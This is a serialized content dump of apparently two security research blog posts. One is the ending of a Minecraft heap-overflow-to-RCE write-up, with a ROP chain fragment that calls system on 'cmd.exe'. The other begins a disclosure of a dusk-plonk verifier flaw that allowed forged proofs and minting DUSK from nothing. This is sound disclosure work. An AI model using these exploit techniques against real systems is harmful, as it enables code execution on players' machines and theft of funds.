string\n",{"type":26,"tag":217,"props":18736,"children":18737},{"class":7028,"line":7985},[18738,18742],{"type":26,"tag":217,"props":18739,"children":18740},{"style":7048},[18741],{"type":32,"value":18508},{"type":26,"tag":217,"props":18743,"children":18744},{"style":7033},[18745],{"type":32,"value":18513},{"type":26,"tag":217,"props":18747,"children":18748},{"class":7028,"line":8027},[18749,18753],{"type":26,"tag":217,"props":18750,"children":18751},{"style":7048},[18752],{"type":32,"value":18521},{"type":26,"tag":217,"props":18754,"children":18755},{"style":7033},[18756],{"type":32,"value":18757},"# calls `system`\n",{"type":26,"tag":217,"props":18759,"children":18760},{"class":7028,"line":8035},[18761,18765,18769,18774,18779,18783],{"type":26,"tag":217,"props":18762,"children":18763},{"style":7048},[18764],{"type":32,"value":18534},{"type":26,"tag":217,"props":18766,"children":18767},{"style":7154},[18768],{"type":32,"value":14783},{"type":26,"tag":217,"props":18770,"children":18771},{"style":7338},[18772],{"type":32,"value":18773},"\"cmd.exe",{"type":26,"tag":217,"props":18775,"children":18776},{"style":8604},[18777],{"type":32,"value":18778},"\\x00",{"type":26,"tag":217,"props":18780,"children":18781},{"style":7338},[18782],{"type":32,"value":9007},{"type":26,"tag":217,"props":18784,"children":18785},{"style":7048},[18786],{"type":32,"value":18548},{"type":26,"tag":607,"props":18788,"children":18790},{"id":18789},"demo",[18791],{"type":32,"value":18792},"Demo",{"type":26,"tag":39,"props":18794,"children":18795},{},[18796],{"type":32,"value":18797},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":26,"tag":8091,"props":18799,"children":18803},{"className":18800,"controls":17},[18801,18802],"blog-video-responsive","blog-video-wide",[18804,18806,18812],{"type":32,"value":18805},"\n  ",{"type":26,"tag":18807,"props":18808,"children":18811},"source",{"src":18809,"type":18810},"/posts/minecraft-heap-overflow-to-rce/demo.mp4","video/mp4",[],{"type":32,"value":18813},"\n  Your browser does not support the video tag.\n",{"type":26,"tag":27,"props":18815,"children":18816},{"id":9272},[18817],{"type":32,"value":9275},{"type":26,"tag":39,"props":18819,"children":18820},{},[18821],{"type":32,"value":18822},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":26,"tag":39,"props":18824,"children":18825},{},[18826],{"type":32,"value":18827},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":26,"tag":39,"props":18829,"children":18830},{},[18831],{"type":32,"value":18832},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":26,"tag":9282,"props":18834,"children":18835},{},[18836],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":18838},[18839,18843,18848,18859],{"id":9333,"depth":6770,"text":9336,"children":18840},[18841,18842],{"id":9369,"depth":6779,"text":9372},{"id":9385,"depth":6779,"text":9388},{"id":9406,"depth":6770,"text":9409,"children":18844},[18845,18846,18847],{"id":9422,"depth":6779,"text":9425},{"id":9512,"depth":6779,"text":9515},{"id":11866,"depth":6779,"text":11869},{"id":11960,"depth":6770,"text":11963,"children":18849},[18850,18851,18852,18853,18854,18855,18856,18857,18858],{"id":11976,"depth":6779,"text":11979},{"id":12001,"depth":6779,"text":12004},{"id":12138,"depth":6779,"text":12141},{"id":14351,"depth":6779,"text":14354},{"id":14716,"depth":6779,"text":14719},{"id":15551,"depth":6779,"text":15554},{"id":17684,"depth":6779,"text":17687},{"id":18310,"depth":6779,"text":18313},{"id":18789,"depth":6779,"text":18792},{"id":9272,"depth":6770,"text":9275},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":18864,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":18865,"description":18866,"date":18867,"author":18868,"image":18871,"isFeatured":17,"onBlogPage":17,"tags":18873,"body":18876,"_type":6799,"_id":24182,"_source":6801,"_file":24183,"_stem":24184,"_extension":6804},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[18869,18870],"himanshu","valter",{"src":18872,"width":6816,"height":6817},"/posts/dusk-commitment-issues/title.png",[18874,18875],"dusk","plonk",{"type":23,"children":18877,"toc":24162},[18878,18884,18925,18937,18943,18957,18962,18968,19266,19270,19545,19778,19784,20474,20478,20975,20983,20989,21008,21013,21019,21246,21285,21297,21303,21314,22024,22029,22032,22038,22092,22127,22159,22164,22168,22171,22177,22188,22201,22232,22299,22307,22329,22342,22780,22803,22808,22811,22817,22844,22940,22952,22999,23037,23048,23386,23403,23411,23414,23420,23425,23459,23467,23548,23551,23557,23571,23589,23594,23634,23642,23663,23666,23672,23677,23742,23756,23759,23765,23806,23817,23822,23827,23833,23847,23929,23950,23977,23980,23986,24000,24005,24010,24016,24151,24157],{"type":26,"tag":454,"props":18879,"children":18881},{"id":18880},"commitment-issues-unverified-evaluations-in-dusks-plonk",[18882],{"type":32,"value":18883},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":26,"tag":39,"props":18885,"children":18886},{},[18887,18889,18896,18898,18905,18907,18914,18916,18923],{"type":32,"value":18888},"We found a critical soundness vulnerability in ",{"type":26,"tag":163,"props":18890,"children":18893},{"href":18891,"rel":18892},"https://github.com/dusk-network/plonk/",[167],[18894],{"type":32,"value":18895},"dusk-plonk",{"type":32,"value":18897},", the PLONK implementation powering ",{"type":26,"tag":163,"props":18899,"children":18902},{"href":18900,"rel":18901},"https://dusk.network/",[167],[18903],{"type":32,"value":18904},"Dusk Network's",{"type":32,"value":18906}," ~$60M ",{"type":26,"tag":163,"props":18908,"children":18911},{"href":18909,"rel":18910},"https://www.coingecko.com/en/coins/dusk",[167],[18912],{"type":32,"value":18913},"market cap",{"type":32,"value":18915},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":26,"tag":163,"props":18917,"children":18920},{"href":18918,"rel":18919},"https://github.com/dusk-network/rusk",[167],[18921],{"type":32,"value":18922},"Rusk",{"type":32,"value":18924}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":26,"tag":39,"props":18926,"children":18927},{},[18928,18930,18935],{"type":32,"value":18929},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":26,"tag":9348,"props":18931,"children":18932},{},[18933],{"type":32,"value":18934},"without ever validating them against the trusted commitments in the verifier key.",{"type":32,"value":18936}," The prover can set them to whatever values make the equation pass.",{"type":26,"tag":27,"props":18938,"children":18940},{"id":18939},"how-plonk-works-briefly",[18941],{"type":32,"value":18942},"How PLONK works (briefly)",{"type":26,"tag":39,"props":18944,"children":18945},{},[18946,18948,18955],{"type":32,"value":18947},"For a rigorous treatment see the ",{"type":26,"tag":163,"props":18949,"children":18952},{"href":18950,"rel":18951},"https://eprint.iacr.org/2019/953",[167],[18953],{"type":32,"value":18954},"original paper",{"type":32,"value":18956},"; what follows covers only the parts needed to understand the bug.",{"type":26,"tag":39,"props":18958,"children":18959},{},[18960],{"type":32,"value":18961},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":26,"tag":607,"props":18963,"children":18965},{"id":18964},"arithmetic-circuits-and-constraints",[18966],{"type":32,"value":18967},"Arithmetic circuits and constraints",{"type":26,"tag":39,"props":18969,"children":18970},{},[18971,18973,19023,19025,19178,19180,19265],{"type":32,"value":18972},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":26,"tag":83,"props":18974,"children":18976},{"className":18975},[213,4703],[18977],{"type":26,"tag":217,"props":18978,"children":18980},{"className":18979},[225],[18981],{"type":26,"tag":217,"props":18982,"children":18984},{"className":18983,"ariaHidden":231},[230],[18985],{"type":26,"tag":217,"props":18986,"children":18988},{"className":18987},[236],[18989,18993,18998,19003,19008,19012,19018],{"type":26,"tag":217,"props":18990,"children":18992},{"className":18991,"style":5514},[241],[],{"type":26,"tag":217,"props":18994,"children":18996},{"className":18995},[288],[18997],{"type":32,"value":1851},{"type":26,"tag":217,"props":18999,"children":19001},{"className":19000},[247,2152],[19002],{"type":32,"value":2542},{"type":26,"tag":217,"props":19004,"children":19006},{"className":19005},[1865],[19007],{"type":32,"value":1868},{"type":26,"tag":217,"props":19009,"children":19011},{"className":19010,"style":1872},[258],[],{"type":26,"tag":217,"props":19013,"children":19015},{"className":19014,"style":2326},[247,2152],[19016],{"type":32,"value":19017},"y",{"type":26,"tag":217,"props":19019,"children":19021},{"className":19020},[428],[19022],{"type":32,"value":1889},{"type":32,"value":19024}," on an elliptic curve, by e.g proving that ",{"type":26,"tag":83,"props":19026,"children":19028},{"className":19027},[213,4703],[19029],{"type":26,"tag":217,"props":19030,"children":19032},{"className":19031},[225],[19033],{"type":26,"tag":217,"props":19034,"children":19036},{"className":19035,"ariaHidden":231},[230],[19037,19101,19164],{"type":26,"tag":217,"props":19038,"children":19040},{"className":19039},[236],[19041,19046,19088,19092,19097],{"type":26,"tag":217,"props":19042,"children":19045},{"className":19043,"style":19044},[241],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":26,"tag":217,"props":19047,"children":19049},{"className":19048},[247],[19050,19055],{"type":26,"tag":217,"props":19051,"children":19053},{"className":19052,"style":2326},[247,2152],[19054],{"type":32,"value":19017},{"type":26,"tag":217,"props":19056,"children":19058},{"className":19057},[2160],[19059],{"type":26,"tag":217,"props":19060,"children":19062},{"className":19061},[299],[19063],{"type":26,"tag":217,"props":19064,"children":19066},{"className":19065},[305],[19067],{"type":26,"tag":217,"props":19068,"children":19071},{"className":19069,"style":19070},[310],"height:0.8141em;",[19072],{"type":26,"tag":217,"props":19073,"children":19074},{"style":6105},[19075,19079],{"type":26,"tag":217,"props":19076,"children":19078},{"className":19077,"style":2182},[320],[],{"type":26,"tag":217,"props":19080,"children":19082},{"className":19081},[2187,2188,2189,2190],[19083],{"type":26,"tag":217,"props":19084,"children":19086},{"className":19085},[247,2190],[19087],{"type":32,"value":332},{"type":26,"tag":217,"props":19089,"children":19091},{"className":19090,"style":259},[258],[],{"type":26,"tag":217,"props":19093,"children":19095},{"className":19094},[264],[19096],{"type":32,"value":267},{"type":26,"tag":217,"props":19098,"children":19100},{"className":19099,"style":259},[258],[],{"type":26,"tag":217,"props":19102,"children":19104},{"className":19103},[236],[19105,19110,19151,19155,19160],{"type":26,"tag":217,"props":19106,"children":19109},{"className":19107,"style":19108},[241],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":26,"tag":217,"props":19111,"children":19113},{"className":19112},[247],[19114,19119],{"type":26,"tag":217,"props":19115,"children":19117},{"className":19116},[247,2152],[19118],{"type":32,"value":2542},{"type":26,"tag":217,"props":19120,"children":19122},{"className":19121},[2160],[19123],{"type":26,"tag":217,"props":19124,"children":19126},{"className":19125},[299],[19127],{"type":26,"tag":217,"props":19128,"children":19130},{"className":19129},[305],[19131],{"type":26,"tag":217,"props":19132,"children":19134},{"className":19133,"style":19070},[310],[19135],{"type":26,"tag":217,"props":19136,"children":19137},{"style":6105},[19138,19142],{"type":26,"tag":217,"props":19139,"children":19141},{"className":19140,"style":2182},[320],[],{"type":26,"tag":217,"props":19143,"children":19145},{"className":19144},[2187,2188,2189,2190],[19146],{"type":26,"tag":217,"props":19147,"children":19149},{"className":19148},[247,2190],[19150],{"type":32,"value":10676},{"type":26,"tag":217,"props":19152,"children":19154},{"className":19153,"style":336},[258],[],{"type":26,"tag":217,"props":19156,"children":19158},{"className":19157},[341],[19159],{"type":32,"value":3540},{"type":26,"tag":217,"props":19161,"children":19163},{"className":19162,"style":336},[258],[],{"type":26,"tag":217,"props":19165,"children":19167},{"className":19166},[236],[19168,19172],{"type":26,"tag":217,"props":19169,"children":19171},{"className":19170,"style":5294},[241],[],{"type":26,"tag":217,"props":19173,"children":19175},{"className":19174},[247],[19176],{"type":32,"value":19177},"7",{"type":32,"value":19179},", here in ",{"type":26,"tag":83,"props":19181,"children":19183},{"className":19182},[213,4703],[19184],{"type":26,"tag":217,"props":19185,"children":19187},{"className":19186},[225],[19188],{"type":26,"tag":217,"props":19189,"children":19191},{"className":19190,"ariaHidden":231},[230],[19192],{"type":26,"tag":217,"props":19193,"children":19195},{"className":19194},[236],[19196,19201],{"type":26,"tag":217,"props":19197,"children":19200},{"className":19198,"style":19199},[241],"height:0.8389em;vertical-align:-0.15em;",[],{"type":26,"tag":217,"props":19202,"children":19204},{"className":19203},[247],[19205,19211],{"type":26,"tag":217,"props":19206,"children":19209},{"className":19207},[247,19208],"mathbb",[19210],{"type":32,"value":5948},{"type":26,"tag":217,"props":19212,"children":19214},{"className":19213},[2160],[19215],{"type":26,"tag":217,"props":19216,"children":19218},{"className":19217},[299,300],[19219,19254],{"type":26,"tag":217,"props":19220,"children":19222},{"className":19221},[305],[19223,19249],{"type":26,"tag":217,"props":19224,"children":19227},{"className":19225,"style":19226},[310],"height:0.3011em;",[19228],{"type":26,"tag":217,"props":19229,"children":19230},{"style":2275},[19231,19235],{"type":26,"tag":217,"props":19232,"children":19234},{"className":19233,"style":2182},[320],[],{"type":26,"tag":217,"props":19236,"children":19238},{"className":19237},[2187,2188,2189,2190],[19239],{"type":26,"tag":217,"props":19240,"children":19242},{"className":19241},[247,2190],[19243],{"type":26,"tag":217,"props":19244,"children":19246},{"className":19245},[247,2190],[19247],{"type":32,"value":19248},"37",{"type":26,"tag":217,"props":19250,"children":19252},{"className":19251},[409],[19253],{"type":32,"value":412},{"type":26,"tag":217,"props":19255,"children":19257},{"className":19256},[305],[19258],{"type":26,"tag":217,"props":19259,"children":19261},{"className":19260,"style":2210},[310],[19262],{"type":26,"tag":217,"props":19263,"children":19264},{},[],{"type":32,"value":180},{"type":26,"tag":19267,"props":19268,"children":19269},"arithmetic-circuit-widget",{},[],{"type":26,"tag":39,"props":19271,"children":19272},{},[19273,19275,19301,19303,19383,19385,19463,19465,19543],{"type":32,"value":19274},"Each gate ",{"type":26,"tag":83,"props":19276,"children":19278},{"className":19277},[213,4703],[19279],{"type":26,"tag":217,"props":19280,"children":19282},{"className":19281},[225],[19283],{"type":26,"tag":217,"props":19284,"children":19286},{"className":19285,"ariaHidden":231},[230],[19287],{"type":26,"tag":217,"props":19288,"children":19290},{"className":19289},[236],[19291,19296],{"type":26,"tag":217,"props":19292,"children":19295},{"className":19293,"style":19294},[241],"height:0.6595em;",[],{"type":26,"tag":217,"props":19297,"children":19299},{"className":19298},[247,2152],[19300],{"type":32,"value":2290},{"type":32,"value":19302}," has a left input ",{"type":26,"tag":83,"props":19304,"children":19306},{"className":19305},[213,4703],[19307],{"type":26,"tag":217,"props":19308,"children":19310},{"className":19309},[225],[19311],{"type":26,"tag":217,"props":19312,"children":19314},{"className":19313,"ariaHidden":231},[230],[19315],{"type":26,"tag":217,"props":19316,"children":19318},{"className":19317},[236],[19319,19323],{"type":26,"tag":217,"props":19320,"children":19322},{"className":19321,"style":5614},[241],[],{"type":26,"tag":217,"props":19324,"children":19326},{"className":19325},[247],[19327,19334],{"type":26,"tag":217,"props":19328,"children":19331},{"className":19329,"style":19330},[247,2152],"margin-right:0.01968em;",[19332],{"type":32,"value":19333},"l",{"type":26,"tag":217,"props":19335,"children":19337},{"className":19336},[2160],[19338],{"type":26,"tag":217,"props":19339,"children":19341},{"className":19340},[299,300],[19342,19372],{"type":26,"tag":217,"props":19343,"children":19345},{"className":19344},[305],[19346,19367],{"type":26,"tag":217,"props":19347,"children":19349},{"className":19348,"style":2271},[310],[19350],{"type":26,"tag":217,"props":19351,"children":19353},{"style":19352},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[19354,19358],{"type":26,"tag":217,"props":19355,"children":19357},{"className":19356,"style":2182},[320],[],{"type":26,"tag":217,"props":19359,"children":19361},{"className":19360},[2187,2188,2189,2190],[19362],{"type":26,"tag":217,"props":19363,"children":19365},{"className":19364},[247,2152,2190],[19366],{"type":32,"value":2290},{"type":26,"tag":217,"props":19368,"children":19370},{"className":19369},[409],[19371],{"type":32,"value":412},{"type":26,"tag":217,"props":19373,"children":19375},{"className":19374},[305],[19376],{"type":26,"tag":217,"props":19377,"children":19379},{"className":19378,"style":2210},[310],[19380],{"type":26,"tag":217,"props":19381,"children":19382},{},[],{"type":32,"value":19384},", right input ",{"type":26,"tag":83,"props":19386,"children":19388},{"className":19387},[213,4703],[19389],{"type":26,"tag":217,"props":19390,"children":19392},{"className":19391},[225],[19393],{"type":26,"tag":217,"props":19394,"children":19396},{"className":19395,"ariaHidden":231},[230],[19397],{"type":26,"tag":217,"props":19398,"children":19400},{"className":19399},[236],[19401,19405],{"type":26,"tag":217,"props":19402,"children":19404},{"className":19403,"style":4828},[241],[],{"type":26,"tag":217,"props":19406,"children":19408},{"className":19407},[247],[19409,19415],{"type":26,"tag":217,"props":19410,"children":19412},{"className":19411,"style":2753},[247,2152],[19413],{"type":32,"value":19414},"r",{"type":26,"tag":217,"props":19416,"children":19418},{"className":19417},[2160],[19419],{"type":26,"tag":217,"props":19420,"children":19422},{"className":19421},[299,300],[19423,19452],{"type":26,"tag":217,"props":19424,"children":19426},{"className":19425},[305],[19427,19447],{"type":26,"tag":217,"props":19428,"children":19430},{"className":19429,"style":2271},[310],[19431],{"type":26,"tag":217,"props":19432,"children":19433},{"style":2775},[19434,19438],{"type":26,"tag":217,"props":19435,"children":19437},{"className":19436,"style":2182},[320],[],{"type":26,"tag":217,"props":19439,"children":19441},{"className":19440},[2187,2188,2189,2190],[19442],{"type":26,"tag":217,"props":19443,"children":19445},{"className":19444},[247,2152,2190],[19446],{"type":32,"value":2290},{"type":26,"tag":217,"props":19448,"children":19450},{"className":19449},[409],[19451],{"type":32,"value":412},{"type":26,"tag":217,"props":19453,"children":19455},{"className":19454},[305],[19456],{"type":26,"tag":217,"props":19457,"children":19459},{"className":19458,"style":2210},[310],[19460],{"type":26,"tag":217,"props":19461,"children":19462},{},[],{"type":32,"value":19464},", and output ",{"type":26,"tag":83,"props":19466,"children":19468},{"className":19467},[213,4703],[19469],{"type":26,"tag":217,"props":19470,"children":19472},{"className":19471},[225],[19473],{"type":26,"tag":217,"props":19474,"children":19476},{"className":19475,"ariaHidden":231},[230],[19477],{"type":26,"tag":217,"props":19478,"children":19480},{"className":19479},[236],[19481,19485],{"type":26,"tag":217,"props":19482,"children":19484},{"className":19483,"style":4828},[241],[],{"type":26,"tag":217,"props":19486,"children":19488},{"className":19487},[247],[19489,19495],{"type":26,"tag":217,"props":19490,"children":19492},{"className":19491},[247,2152],[19493],{"type":32,"value":19494},"o",{"type":26,"tag":217,"props":19496,"children":19498},{"className":19497},[2160],[19499],{"type":26,"tag":217,"props":19500,"children":19502},{"className":19501},[299,300],[19503,19532],{"type":26,"tag":217,"props":19504,"children":19506},{"className":19505},[305],[19507,19527],{"type":26,"tag":217,"props":19508,"children":19510},{"className":19509,"style":2271},[310],[19511],{"type":26,"tag":217,"props":19512,"children":19513},{"style":2275},[19514,19518],{"type":26,"tag":217,"props":19515,"children":19517},{"className":19516,"style":2182},[320],[],{"type":26,"tag":217,"props":19519,"children":19521},{"className":19520},[2187,2188,2189,2190],[19522],{"type":26,"tag":217,"props":19523,"children":19525},{"className":19524},[247,2152,2190],[19526],{"type":32,"value":2290},{"type":26,"tag":217,"props":19528,"children":19530},{"className":19529},[409],[19531],{"type":32,"value":412},{"type":26,"tag":217,"props":19533,"children":19535},{"className":19534},[305],[19536],{"type":26,"tag":217,"props":19537,"children":19539},{"className":19538,"style":2210},[310],[19540],{"type":26,"tag":217,"props":19541,"children":19542},{},[],{"type":32,"value":19544},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":26,"tag":39,"props":19546,"children":19547},{},[19548,19550,19555,19557,19663,19665,19769,19771,19776],{"type":32,"value":19549},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":26,"tag":65,"props":19551,"children":19552},{},[19553],{"type":32,"value":19554},"selector",{"type":32,"value":19556}," values that act as switches: setting ",{"type":26,"tag":83,"props":19558,"children":19560},{"className":19559},[213,4703],[19561],{"type":26,"tag":217,"props":19562,"children":19564},{"className":19563},[225],[19565],{"type":26,"tag":217,"props":19566,"children":19568},{"className":19567,"ariaHidden":231},[230],[19569,19650],{"type":26,"tag":217,"props":19570,"children":19572},{"className":19571},[236],[19573,19578,19637,19641,19646],{"type":26,"tag":217,"props":19574,"children":19577},{"className":19575,"style":19576},[241],"height:0.625em;vertical-align:-0.1944em;",[],{"type":26,"tag":217,"props":19579,"children":19581},{"className":19580},[247],[19582,19588],{"type":26,"tag":217,"props":19583,"children":19585},{"className":19584,"style":2326},[247,2152],[19586],{"type":32,"value":19587},"q",{"type":26,"tag":217,"props":19589,"children":19591},{"className":19590},[2160],[19592],{"type":26,"tag":217,"props":19593,"children":19595},{"className":19594},[299,300],[19596,19626],{"type":26,"tag":217,"props":19597,"children":19599},{"className":19598},[305],[19600,19621],{"type":26,"tag":217,"props":19601,"children":19603},{"className":19602,"style":2699},[310],[19604],{"type":26,"tag":217,"props":19605,"children":19606},{"style":2348},[19607,19611],{"type":26,"tag":217,"props":19608,"children":19610},{"className":19609,"style":2182},[320],[],{"type":26,"tag":217,"props":19612,"children":19614},{"className":19613},[2187,2188,2189,2190],[19615],{"type":26,"tag":217,"props":19616,"children":19618},{"className":19617,"style":2825},[247,2152,2190],[19619],{"type":32,"value":19620},"M",{"type":26,"tag":217,"props":19622,"children":19624},{"className":19623},[409],[19625],{"type":32,"value":412},{"type":26,"tag":217,"props":19627,"children":19629},{"className":19628},[305],[19630],{"type":26,"tag":217,"props":19631,"children":19633},{"className":19632,"style":2210},[310],[19634],{"type":26,"tag":217,"props":19635,"children":19636},{},[],{"type":26,"tag":217,"props":19638,"children":19640},{"className":19639,"style":259},[258],[],{"type":26,"tag":217,"props":19642,"children":19644},{"className":19643},[264],[19645],{"type":32,"value":267},{"type":26,"tag":217,"props":19647,"children":19649},{"className":19648,"style":259},[258],[],{"type":26,"tag":217,"props":19651,"children":19653},{"className":19652},[236],[19654,19658],{"type":26,"tag":217,"props":19655,"children":19657},{"className":19656,"style":5294},[241],[],{"type":26,"tag":217,"props":19659,"children":19661},{"className":19660},[247],[19662],{"type":32,"value":185},{"type":32,"value":19664}," makes a row a multiplication gate, setting ",{"type":26,"tag":83,"props":19666,"children":19668},{"className":19667},[213,4703],[19669],{"type":26,"tag":217,"props":19670,"children":19672},{"className":19671},[225],[19673],{"type":26,"tag":217,"props":19674,"children":19676},{"className":19675,"ariaHidden":231},[230],[19677,19756],{"type":26,"tag":217,"props":19678,"children":19680},{"className":19679},[236],[19681,19685,19743,19747,19752],{"type":26,"tag":217,"props":19682,"children":19684},{"className":19683,"style":19576},[241],[],{"type":26,"tag":217,"props":19686,"children":19688},{"className":19687},[247],[19689,19694],{"type":26,"tag":217,"props":19690,"children":19692},{"className":19691,"style":2326},[247,2152],[19693],{"type":32,"value":19587},{"type":26,"tag":217,"props":19695,"children":19697},{"className":19696},[2160],[19698],{"type":26,"tag":217,"props":19699,"children":19701},{"className":19700},[299,300],[19702,19732],{"type":26,"tag":217,"props":19703,"children":19705},{"className":19704},[305],[19706,19727],{"type":26,"tag":217,"props":19707,"children":19709},{"className":19708,"style":2699},[310],[19710],{"type":26,"tag":217,"props":19711,"children":19712},{"style":2348},[19713,19717],{"type":26,"tag":217,"props":19714,"children":19716},{"className":19715,"style":2182},[320],[],{"type":26,"tag":217,"props":19718,"children":19720},{"className":19719},[2187,2188,2189,2190],[19721],{"type":26,"tag":217,"props":19722,"children":19724},{"className":19723},[247,2152,2190],[19725],{"type":32,"value":19726},"L",{"type":26,"tag":217,"props":19728,"children":19730},{"className":19729},[409],[19731],{"type":32,"value":412},{"type":26,"tag":217,"props":19733,"children":19735},{"className":19734},[305],[19736],{"type":26,"tag":217,"props":19737,"children":19739},{"className":19738,"style":2210},[310],[19740],{"type":26,"tag":217,"props":19741,"children":19742},{},[],{"type":26,"tag":217,"props":19744,"children":19746},{"className":19745,"style":259},[258],[],{"type":26,"tag":217,"props":19748,"children":19750},{"className":19749},[264],[19751],{"type":32,"value":267},{"type":26,"tag":217,"props":19753,"children":19755},{"className":19754,"style":259},[258],[],{"type":26,"tag":217,"props":19757,"children":19759},{"className":19758},[236],[19760,19764],{"type":26,"tag":217,"props":19761,"children":19763},{"className":19762,"style":5294},[241],[],{"type":26,"tag":217,"props":19765,"children":19767},{"className":19766},[247],[19768],{"type":32,"value":185},{"type":32,"value":19770}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":26,"tag":65,"props":19772,"children":19773},{},[19774],{"type":32,"value":19775},"permutation argument",{"type":32,"value":19777}," for that, which we will not cover here.",{"type":26,"tag":607,"props":19779,"children":19781},{"id":19780},"from-many-checks-to-one",[19782],{"type":32,"value":19783},"From many checks to one",{"type":26,"tag":39,"props":19785,"children":19786},{},[19787,19789,19794,19796,19891,19892,19984,19985,20078,20080,20085,20086,20179,20180,20272,20274,20299,20300,20325,20327,20419,20421,20446,20448,20473],{"type":32,"value":19788},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":26,"tag":65,"props":19790,"children":19791},{},[19792],{"type":32,"value":19793},"witness polynomials",{"type":32,"value":19795}," ",{"type":26,"tag":83,"props":19797,"children":19799},{"className":19798},[213,4703],[19800],{"type":26,"tag":217,"props":19801,"children":19803},{"className":19802},[225],[19804],{"type":26,"tag":217,"props":19805,"children":19807},{"className":19806,"ariaHidden":231},[230],[19808],{"type":26,"tag":217,"props":19809,"children":19811},{"className":19810},[236],[19812,19816,19876,19881,19886],{"type":26,"tag":217,"props":19813,"children":19815},{"className":19814,"style":5514},[241],[],{"type":26,"tag":217,"props":19817,"children":19819},{"className":19818},[247],[19820,19827],{"type":26,"tag":217,"props":19821,"children":19824},{"className":19822,"style":19823},[247,2152],"margin-right:0.10764em;",[19825],{"type":32,"value":19826},"f",{"type":26,"tag":217,"props":19828,"children":19830},{"className":19829},[2160],[19831],{"type":26,"tag":217,"props":19832,"children":19834},{"className":19833},[299,300],[19835,19865],{"type":26,"tag":217,"props":19836,"children":19838},{"className":19837},[305],[19839,19860],{"type":26,"tag":217,"props":19840,"children":19842},{"className":19841,"style":2699},[310],[19843],{"type":26,"tag":217,"props":19844,"children":19846},{"style":19845},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[19847,19851],{"type":26,"tag":217,"props":19848,"children":19850},{"className":19849,"style":2182},[320],[],{"type":26,"tag":217,"props":19852,"children":19854},{"className":19853},[2187,2188,2189,2190],[19855],{"type":26,"tag":217,"props":19856,"children":19858},{"className":19857},[247,2152,2190],[19859],{"type":32,"value":19726},{"type":26,"tag":217,"props":19861,"children":19863},{"className":19862},[409],[19864],{"type":32,"value":412},{"type":26,"tag":217,"props":19866,"children":19868},{"className":19867},[305],[19869],{"type":26,"tag":217,"props":19870,"children":19872},{"className":19871,"style":2210},[310],[19873],{"type":26,"tag":217,"props":19874,"children":19875},{},[],{"type":26,"tag":217,"props":19877,"children":19879},{"className":19878},[288],[19880],{"type":32,"value":1851},{"type":26,"tag":217,"props":19882,"children":19884},{"className":19883},[247,2152],[19885],{"type":32,"value":2542},{"type":26,"tag":217,"props":19887,"children":19889},{"className":19888},[428],[19890],{"type":32,"value":1889},{"type":32,"value":7599},{"type":26,"tag":83,"props":19893,"children":19895},{"className":19894},[213,4703],[19896],{"type":26,"tag":217,"props":19897,"children":19899},{"className":19898},[225],[19900],{"type":26,"tag":217,"props":19901,"children":19903},{"className":19902,"ariaHidden":231},[230],[19904],{"type":26,"tag":217,"props":19905,"children":19907},{"className":19906},[236],[19908,19912,19969,19974,19979],{"type":26,"tag":217,"props":19909,"children":19911},{"className":19910,"style":5514},[241],[],{"type":26,"tag":217,"props":19913,"children":19915},{"className":19914},[247],[19916,19921],{"type":26,"tag":217,"props":19917,"children":19919},{"className":19918,"style":19823},[247,2152],[19920],{"type":32,"value":19826},{"type":26,"tag":217,"props":19922,"children":19924},{"className":19923},[2160],[19925],{"type":26,"tag":217,"props":19926,"children":19928},{"className":19927},[299,300],[19929,19958],{"type":26,"tag":217,"props":19930,"children":19932},{"className":19931},[305],[19933,19953],{"type":26,"tag":217,"props":19934,"children":19936},{"className":19935,"style":2699},[310],[19937],{"type":26,"tag":217,"props":19938,"children":19939},{"style":19845},[19940,19944],{"type":26,"tag":217,"props":19941,"children":19943},{"className":19942,"style":2182},[320],[],{"type":26,"tag":217,"props":19945,"children":19947},{"className":19946},[2187,2188,2189,2190],[19948],{"type":26,"tag":217,"props":19949,"children":19951},{"className":19950,"style":2897},[247,2152,2190],[19952],{"type":32,"value":2900},{"type":26,"tag":217,"props":19954,"children":19956},{"className":19955},[409],[19957],{"type":32,"value":412},{"type":26,"tag":217,"props":19959,"children":19961},{"className":19960},[305],[19962],{"type":26,"tag":217,"props":19963,"children":19965},{"className":19964,"style":2210},[310],[19966],{"type":26,"tag":217,"props":19967,"children":19968},{},[],{"type":26,"tag":217,"props":19970,"children":19972},{"className":19971},[288],[19973],{"type":32,"value":1851},{"type":26,"tag":217,"props":19975,"children":19977},{"className":19976},[247,2152],[19978],{"type":32,"value":2542},{"type":2